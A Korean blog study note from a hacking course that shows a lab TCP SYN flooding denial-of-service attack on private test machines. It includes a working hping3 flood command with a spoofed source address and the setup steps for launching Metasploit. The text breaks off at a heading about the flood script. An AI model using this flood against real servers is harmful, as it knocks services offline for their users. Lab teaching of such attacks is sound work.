본문 바로가기

Learning/└◆Network Hacking

네트워크 해킹 - 06. TCP Syn Flooding Attack (Dos Attack)

 

TCP Syn Flooding Attack (Dos Attack)

TCP Syn Flooding Attack

TCP Syn 세그먼트를 시스템, 서버에게 대량으로 전송하여 네트워크 및 시스템 부하를 발생시키는 공격.

서버가 Syn 대량으로 처리하기 때문에 클라이언트가 전송한 Syn처리를 불가능하게 하여 접근을 방해

 

<Linux200>

HTTP 서비스 활성화 및 테스트 웹-페이지 생성

# pgrep -lf httpd

# service httpd restart

# chkconfig httpd on

 

# cd/var/www/html

# mkdir -p test

# echo 'TCP Syn Flooding Test Page' > /var/www/html/test/index.html

 

<Window2008>

Linux200으로 HTTP 접속확인

http://192.168.20.200

http://192.168.20.200/test

 

 

Ex1) TCP Syn Flooding Attack 1 (툴: hping3)

 

<Linux200>

와이어샤크 실행 or gnome-system-monitor 실행

# wireshark &

# gnome-system-monitor &

 

<Kali Linux>

Linux200으로 TCP Syn Flooding 공격

-s : TCP Syn flag

-a : spoof source address

-i : interval (u1 : 1microseconds/100만분의 1초)

-p : port number

 

# hping3 -S -a 13.13.10.1 -i u1 -p 80 192.168.20.200

 

<Kali Linux>

와이어샤크 캡처 내용 확인

(Src는 존재하지 않는 주소 Dest는 타겟과 동일

임의에 번호를 Dest의 80포트로 지속적으로 syn신호를 보낸다.)

 

Syn Flooding 작업이 성공 되지 않는다면 그 이유는

http://192.168.20.200 의 index 소스가 매우 간단하고 공격자의 공격속도가 느리기 때문이다.

 

참고 URL

- http://www.youtube.com/watch?v=aJ9syL4S7yE

 

 

Ex2) TCP Syn Flooding Attack 1 (툴: Metasploit)

 

<Kali Linux>

패킷 분석을 위한 wireshark 실행

 

# wireshark &

 

msfconsole 실행을 위한 postgresql 실행

============================================= 

[참고] postgresql 기동 중인지 확인하는 방법

 

# service postgresql status

# netstat -antp | grep :5432

# nmap -p 5432 -sV localhost

# msfconsole

msf > db_status

 

# netstat -antp | grep :5432 (# nmap localhost)

-> postgresql 서비스 동작 중인지 점검

 

[참고] 서비스 기동 방법 비교

(redhat 계열)   (부팅) # chkconfig postgresql on

(현재) # service postgresql start

(debian 계열)   (부팅) # update-rc.d postgresql enable

(현재) # service postgresql start

 

============================================

 

# netstat -antp | grep :5432 (# nmap localhost)

# service postgresql start

# msfconsole

 

 

 

Syn Flooding 중요 동작 스크립트 확인